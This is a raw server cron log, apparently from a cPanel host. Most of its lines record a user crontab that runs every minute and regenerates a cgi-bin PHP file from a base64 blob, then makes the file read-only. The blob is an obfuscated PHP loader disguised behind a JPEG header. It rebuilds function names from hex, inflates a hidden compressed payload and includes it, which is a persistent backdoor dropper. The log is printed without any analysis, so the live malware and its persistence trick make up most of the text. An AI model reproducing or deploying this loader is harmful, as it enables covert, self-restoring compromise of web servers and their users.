Nov 15 13:31:01 server CROND[10089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:32:01 server CROND[10335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:33:01 server CROND[10599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:34:01 server CROND[10953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:35:01 server CROND[11264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:35:01 server CROND[11270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:35:01 server CROND[11269]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 13:35:01 server CROND[11268]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 13:35:01 server CROND[11271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:36:01 server CROND[11599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:37:01 server CROND[11866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:38:01 server CROND[12132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:39:01 server CROND[12492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:39:01 server CROND[12493]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:40:01 server CROND[12755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:40:01 server CROND[12756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:40:01 server CROND[12757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:40:01 server CROND[12758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:41:01 server CROND[13081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:42:01 server CROND[13334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:42:01 server CROND[13335]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:43:01 server CROND[13605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
